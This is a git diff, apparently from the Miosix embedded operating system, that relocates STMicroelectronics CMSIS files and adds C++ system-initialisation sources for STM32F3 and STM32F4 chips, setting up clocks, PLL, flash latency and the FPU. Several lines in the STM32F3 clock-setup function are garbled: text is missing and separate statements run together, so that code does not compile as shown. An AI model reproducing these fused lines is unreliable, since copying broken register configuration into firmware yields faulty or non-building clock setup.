© Copyright (c) 2016 STMicroelectronics. + * All rights reserved.

+ * + * This software component is licensed by ST under BSD 3-Clause license, + * the "License"; You may not use this file except in compliance with the + * License. You may obtain a copy of the License at: + * opensource.org/licenses/BSD-3-Clause + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f3xx_system + * @{ + */ + +/** @addtogroup STM32F3xx_System_Private_Includes + * @{ + */ +#include "board_settings.h" +//By Silvano Seva: was #include "stm32f3xx.h" +#include "interfaces/arch_registers.h" + +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_Defines + * @{ + */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)8000000) /*!< Default value of the Internal oscillator in Hz. + This value can be provided and adapted by the user application. */ +#endif /* HSI_VALUE */ + +// Added by silseva +#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) + +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_Variables + * @{ + */ + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock there is no need to + call the 2 first functions listed above, since SystemCoreClock variable is + updated automatically. + */ + +uint32_t SystemCoreClock = miosix::cpuFrequency; /*!< System Clock Frequency (Core Clock) */ + +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; +const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; + +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_FunctionPrototypes + * @{ + */ + +// Added by silseva +static void SetSysClock(void); + +/** + * @} + */ + +/** @addtogroup STM32F3xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * @param None + * @retval None + */ +void SystemInit(void) +{ + // Added by silseva + /* Reset the RCC clock configuration to the default reset state(for debug purpose) */ + /* Set HSION bit */ + RCC->CR |= (uint32_t)0x00000001; + + /* Reset all RCC_CFGR register */ + RCC->CFGR = (uint32_t)0x00000000; + + /* Reset HSEON, CSSON and PLLON bits */ + RCC->CR &= (uint32_t)0xFEF6FFFF; + + /* Reset HSEBYP bit */ + RCC->CR &= (uint32_t)0xFFFBFFFF; + + /* Disable all interrupts and clear pending bits */ + RCC->CIR = 0x009F0000; + + /* Clear PREDIV bits */ + RCC->CFGR2 &= ~RCC_CFGR2_PREDIV; + + /* Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers */ + /* Configure the Flash Latency cycles and enable prefetch buffer */ + SetSysClock(); + // end addition + +/* FPU settings --------------------------------------------------------------*/ +#if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ +#endif + +#ifdef VECT_TAB_SRAM + SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +#else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ +#endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32f3xx_hal.h file (default value + * 8 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32f3xx_hal.h file (default value + * 8 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate (void) +{ + uint32_t tmp = 0, pllmull = 0, pllsource = 0, predivfactor = 0; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case RCC_CFGR_SWS_HSI: /* HSI used as system clock */ + SystemCoreClock = HSI_VALUE; + break; + case RCC_CFGR_SWS_HSE: /* HSE used as system clock */ + SystemCoreClock = miosix::hseFrequency; + break; + case RCC_CFGR_SWS_PLL: /* PLL used as system clock */ + /* Get PLL clock source and multiplication factor ----------------------*/ + pllmull = RCC->CFGR & RCC_CFGR_PLLMUL; + pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; + pllmull = ( pllmull >> 18) + 2; + +#if defined (STM32F302xE) || defined (STM32F303xE) || defined (STM32F398xx) + predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; + if (pllsource == RCC_CFGR_PLLSRC_HSE_PREDIV) + { + /* HSE oscillator clock selected as PREDIV1 clock entry */ + SystemCoreClock = (miosix::hseFrequency / predivfactor) * pllmull; + } + else + { + /* HSI oscillator clock selected as PREDIV1 clock entry */ + SystemCoreClock = (HSI_VALUE / predivfactor) * pllmull; + } +#else + if (pllsource == RCC_CFGR_PLLSRC_HSI_DIV2) + { + /* HSI oscillator clock divided by 2 selected as PLL clock entry */ + SystemCoreClock = (HSI_VALUE >> 1) * pllmull; + } + else + { + predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; + /* HSE oscillator clock selected as PREDIV1 clock entry */ + SystemCoreClock = (miosix::hseFrequency / predivfactor) * pllmull; + } +#endif /* STM32F302xE || STM32F303xE || STM32F398xx */ + break; + default: /* HSI used as system clock */ + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK clock frequency ----------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + +// Added by silseva +/** + * @brief Configures the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers. + * @param None + * @retval None + */ +void SetSysClock(void) +{ + uint32_t StartUpCounter = 0; + (void)StartUpCounter; + + static_assert(miosix::oscillatorType==miosix::OscillatorType::HSE + || miosix::oscillatorType==miosix::OscillatorType::HSI, + "Oscillator type unsupported"); + static_assert(!(miosix::oscillatorType==miosix::OscillatorType::HSI + && miosix::cpuFrequency>56000000), + "sysclk is capped to 56MHz when running on HSI"); + static_assert(miosix::oscillatorType!=miosix::OscillatorType::HSE + || miosix::hseFrequency>1000000, + "Unlikely HSE frequency"); + constexpr unsigned int oscFreq= + miosix::oscillatorType==miosix::OscillatorType::HSE ? + miosix::hseFrequency : HSI_VALUE; + if constexpr(miosix::oscillatorType==miosix::OscillatorType::HSE) + { + /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + unsigned int HSEStatus; + do + { + HSEStatus = RCC->CR & RCC_CR_HSERDY; + StartUpCounter++; + } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + // If HSE failed to start up do nothing and return + if ((RCC->CR & RCC_CR_HSERDY) == 0) return; + } + + /* Enable Prefetch Buffer */ + FLASH->ACR |= FLASH_ACR_PRFTBE; + + // Configure Flash wait states + unsigned int flashLatency; + if(miosix::cpuFrequency<=24000000) flashLatency=0; + else if(miosix::cpuFrequency<=48000000) flashLatency=1; + else flashLatency=2; + //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning + //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! + FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (flashLatency<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; + + /* PCLK2 = HCLK */ + RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; + + /* PCLK1 = HCLK or HCLK/2 (must not exceed 36MHz) */ + if(miosix::cpuFrequency<=36000000) RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; + else RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; + + if(oscFreq==miosix::cpuFrequency && miosix::oscillatorType==miosix::OscillatorType::HSE) + { + /* Select HSE as system clock source */ + RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); + RCC->CFGR |= (uint32_t)RCC_CFGR_SW_HSE; + + /* Wait till HSE is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x04) + { + } + return; + } else if(oscFreq==miosix::cpuFrequency && miosix::oscillatorType==miosix::OscillatorType::HSI) { + // Nothing to do here, it's the default after reset + return; + } + // Otherwise we need to configure the PLL + + constexpr unsigned int div=miosix::cpuFrequency<=36000000 ? 2:1; + #if defined (STM32F302xE) || defined (STM32F303xE) || defined (STM32F398xx) + // PREDIV is after PLLSRC mux + RCC->CFGR2&=~RCC_CFGR2_PREDIV_Msk; + RCC->CFGR2|=(div-1)<CFGR2&=~RCC_CFGR2_PREDIV_Msk; + RCC->CFGR2|=(div-1)<=2 && pllmul<=16,"Unsupported sysclk"); + RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMUL)); + RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | ((pllmul-2)<CFGR &= ~RCC_CFGR_PLLSRC; + + /* Enable PLL */ + RCC->CR |= RCC_CR_PLLON; + + /* Wait till PLL is ready */ + while((RCC->CR & RCC_CR_PLLRDY) == 0) + { + } + + /* Select PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + /* Wait till PLL is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) + { + } +} + +// end addition + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ + diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F3xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xc.h b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xe.h b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xe.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xe.h rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f401xe.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/stm32f405xx.h b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f405xx.h similarity index 100% rename from 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rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32F4xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.cpp new file mode 100644 index 000000000..25be23d82 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.cpp @@ -0,0 +1,659 @@ +/** + ****************************************************************************** + * @file system_stm32f4xx.c + * @author MCD Application Team + * @version V2.0.0 + * @date 18-February-2014 + * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File. + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f4xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * + ****************************************************************************** + * @attention + * + *

© COPYRIGHT 2014 STMicroelectronics

+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f4xx_system + * @{ + */ + +/** @addtogroup STM32F4xx_System_Private_Includes + * @{ + */ + +//By TFT: was #include "stm32f4xx_hal.h", but the specific chip is #defined in +//arch_registers_impl.h +#include "board_settings.h" +#include "interfaces/arch_registers.h" +//By TFT: the .h file for the chip used to define this +#define HSI_VALUE 16000000 +//By TFT: was in the old stm32f4xx.h +#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_Defines + * @{ + */ + +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to use external SRAM or SDRAM mounted + on STM324xG_EVAL/STM324x9I_EVAL boards as data memory */ +// #if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) || defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) +// /* #define DATA_IN_ExtSRAM */ +// #endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx || STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ +// +// #if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) +// /* #define DATA_IN_ExtSDRAM */ +// #endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ +// +// #if defined(DATA_IN_ExtSRAM) && defined(DATA_IN_ExtSDRAM) +// #error "Please select DATA_IN_ExtSRAM or DATA_IN_ExtSDRAM " +// #endif /* DATA_IN_ExtSRAM && DATA_IN_ExtSDRAM */ +// +// /*!< Uncomment the following line if you need to relocate your vector Table in +// Internal SRAM. */ +// /* #define VECT_TAB_SRAM */ +// #define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. +// This value must be a multiple of 0x200. */ + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_Variables + * @{ + */ + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +//By TFT: we increase the clock BEFORE initializing .data and .bss! +uint32_t SystemCoreClock = miosix::cpuFrequency; +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_FunctionPrototypes + * @{ + */ + +static void SetSysClock(void); +// #if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) +// static void SystemInit_ExtMemCtl(void); +// #endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ + +/** + * @} + */ + +/** @addtogroup STM32F4xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * Initialize the FPU setting, vector table location and External memory + * configuration. + * @param None + * @retval None + */ +void SystemInit(void) +{ + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ + #else + #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on + #endif + + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set HSION bit */ + RCC->CR |= (uint32_t)0x00000001; + + /* Reset CFGR register */ + RCC->CFGR = 0x00000000; + + /* Reset HSEON, CSSON and PLLON bits */ + RCC->CR &= (uint32_t)0xFEF6FFFF; + + /* Reset PLLCFGR register */ + RCC->PLLCFGR = 0x24003010; + + /* Reset HSEBYP bit */ + RCC->CR &= (uint32_t)0xFFFBFFFF; + + /* Disable all interrupts */ + RCC->CIR = 0x00000000; + +// #if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) +// SystemInit_ExtMemCtl(); +// #endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ + + /* Configure the System clock source, PLL Multiplier and Divider factors, + AHB/APBx prescalers and Flash settings ----------------------------------*/ + SetSysClock(); + + /* Configure the Vector Table location add offset address ------------------*/ +// #ifdef VECT_TAB_SRAM +// SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +// #else +// SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ +// #endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the hseFrequency(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the hseFrequency(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32f4xx_hal_conf.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) hseFrequency is a constant defined in board_settings.h file (its value + * depends on the application requirements), user has to ensure that hseFrequency + * is same as the real frequency of the crystal used. Otherwise, this function + * may have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case 0x00: /* HSI used as system clock source */ + SystemCoreClock = HSI_VALUE; + break; + case 0x04: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + case 0x08: /* PLL used as system clock source */ + + /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N + SYSCLK = PLL_VCO / PLL_P + */ + pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; + pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; + + if (pllsource != 0) + { + /* HSE used as PLL clock source */ + pllvco = (miosix::hseFrequency / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + else + { + /* HSI used as PLL clock source */ + pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + + pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; + SystemCoreClock = pllvco/pllp; + break; + default: + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK frequency --------------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK frequency */ + SystemCoreClock >>= tmp; +} + +//By TFT -- begin +// this was backported from an older version. Now this code seems to be +// moved in a function called HAL_something... +/** + * @brief Configures the System clock source, PLL Multiplier and Divider factors, + * AHB/APBx prescalers and Flash settings + * @Note This function should be called only once the RCC clock configuration + * is reset to the default reset state (done in SystemInit() function). + * @param None + * @retval None + */ +static void SetSysClock(void) +{ +/******************************************************************************/ +/* PLL (clocked by HSE) used as System clock source */ +/******************************************************************************/ + uint32_t StartUpCounter = 0, HSEStatus = 0; + + // By TFT -- begin + // this was backported from an older version. Now this code seems to be + // moved in a function called HAL_something... + static_assert(miosix::oscillatorType==miosix::OscillatorType::HSE, + "Unsupported oscillator type"); + constexpr unsigned int PLL_M=miosix::hseFrequency/1000000; + constexpr unsigned int sysclkMhz=miosix::cpuFrequency/1000000; + static_assert(sysclkMhz==180 || sysclkMhz==168 || sysclkMhz==100 + || sysclkMhz==84,"Unsupported sysclk frequency"); + constexpr unsigned int PLL_P=sysclkMhz<100 ? 4 : 2; + constexpr unsigned int PLL_N=sysclkMhz*PLL_P; + unsigned int PLL_Q; + if(sysclkMhz==180) PLL_Q=8; // 48MHz output will be 45MHz + else if(sysclkMhz==100) PLL_Q=5; // 48MHz output will be 40MHz + else PLL_Q=PLL_N/48; + // By TFT -- end + + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + do + { + HSEStatus = RCC->CR & RCC_CR_HSERDY; + StartUpCounter++; + } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + if ((RCC->CR & RCC_CR_HSERDY) != RESET) + { + HSEStatus = (uint32_t)0x01; + } + else + { + HSEStatus = (uint32_t)0x00; + } + + if (HSEStatus == (uint32_t)0x01) + { + /* Select regulator voltage output Scale 1 mode, System frequency up to 168 MHz */ + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + //NOTE: this is a 1-bit field in stm32f405/407, and a 2-bit field in stm32f42x + //but in both cases the PWR_CR_VOS mask sets both bits to get the highest scaling + PWR->CR |= PWR_CR_VOS; + + #if defined(STM32F401xC) || defined(STM32F401xE) || defined(STM32F411xE) + //STM32F401/411 run up to 84/100Mhz but busses require less prescaling + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; /* HCLK = SYSCLK / 1*/ + RCC->CFGR |= RCC_CFGR_PPRE2_DIV1; /* PCLK2 = HCLK / 1*/ + RCC->CFGR |= RCC_CFGR_PPRE1_DIV2; /* PCLK1 = HCLK / 2*/ + #else + //STM32F07/415/429/469 run up to 168/180MHz and busses require more prescaling + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; /* HCLK = SYSCLK / 1*/ + RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; /* PCLK2 = HCLK / 2*/ + RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; /* PCLK1 = HCLK / 4*/ + #endif + + /* Configure the main PLL */ + RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | + (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24); + + /* Enable the main PLL */ + RCC->CR |= RCC_CR_PLLON; + + #ifdef PWR_CR_ODEN + if constexpr(sysclkMhz>168) + { + //NOTE: stm32f42x can run up to 180MHz but require the regulator to switch + //to "overdrive mode". Stm32f405/7 don't have these registers but can't run + //at 180MHz anyway + PWR->CR |= PWR_CR_ODEN; + while((PWR->CSR & PWR_CSR_ODRDY)==0) ; + PWR->CR |= PWR_CR_ODSWEN; + while((PWR->CSR & PWR_CSR_ODSWRDY)==0) ; + } + #endif + + /* Wait till the main PLL is ready */ + while((RCC->CR & RCC_CR_PLLRDY) == 0) + { + } + + /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ + /* NOTE: this mapping is valid for VDD from 2.7 to 3.6V, see RM0090 */ + unsigned int flashLatency; + if constexpr(sysclkMhz>150) flashLatency = FLASH_ACR_LATENCY_5WS; + else if constexpr(sysclkMhz>120) flashLatency = FLASH_ACR_LATENCY_4WS; + else if constexpr(sysclkMhz>90) flashLatency = FLASH_ACR_LATENCY_3WS; + else if constexpr(sysclkMhz>60) flashLatency = FLASH_ACR_LATENCY_2WS; + else if constexpr(sysclkMhz>30) flashLatency = FLASH_ACR_LATENCY_1WS; + else flashLatency = FLASH_ACR_LATENCY_0WS; + FLASH->ACR = FLASH_ACR_ICEN | FLASH_ACR_DCEN | flashLatency; + + /* Select the main PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + /* Wait till the main PLL is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) + { + } + } + else + { /* If HSE fails to start-up, the application will have wrong clock + configuration. User can add here some code to deal with this error */ + } + +} +// By TFT -- end + +// #if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) +// /** +// * @brief Setup the external memory controller. +// * Called in startup_stm32f4xx.s before jump to main. +// * This function configures the external memories (SRAM/SDRAM) +// * This SRAM/SDRAM will be used as program data memory (including heap and stack). +// * @param None +// * @retval None +// */ +// #error Not dead code +// void SystemInit_ExtMemCtl(void) +// { +// #if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) +// #if defined (DATA_IN_ExtSDRAM) +// register uint32_t tmpreg = 0, timeout = 0xFFFF; +// //By TFT: added volatile otherwise GCC removes the delay loop, but why is there a delay +// //loop in the first place? TODO +// volatile register uint32_t index; +// +// /* Enable GPIOC, GPIOD, GPIOE, GPIOF, GPIOG, GPIOH and GPIOI interface +// clock */ +// RCC->AHB1ENR |= 0x000001F8; +// RCC_SYNC(); +// +// /* Connect PDx pins to FMC Alternate function */ +// GPIOD->AFR[0] = 0x000000CC; +// GPIOD->AFR[1] = 0xCC000CCC; +// /* Configure PDx pins in Alternate function mode */ +// GPIOD->MODER = 0xA02A000A; +// /* Configure PDx pins speed to 50 MHz */ +// GPIOD->OSPEEDR = 0xA02A000A; +// /* Configure PDx pins Output type to push-pull */ +// GPIOD->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PDx pins */ +// GPIOD->PUPDR = 0x00000000; +// +// /* Connect PEx pins to FMC Alternate function */ +// GPIOE->AFR[0] = 0xC00000CC; +// GPIOE->AFR[1] = 0xCCCCCCCC; +// /* Configure PEx pins in Alternate function mode */ +// GPIOE->MODER = 0xAAAA800A; +// /* Configure PEx pins speed to 50 MHz */ +// GPIOE->OSPEEDR = 0xAAAA800A; +// /* Configure PEx pins Output type to push-pull */ 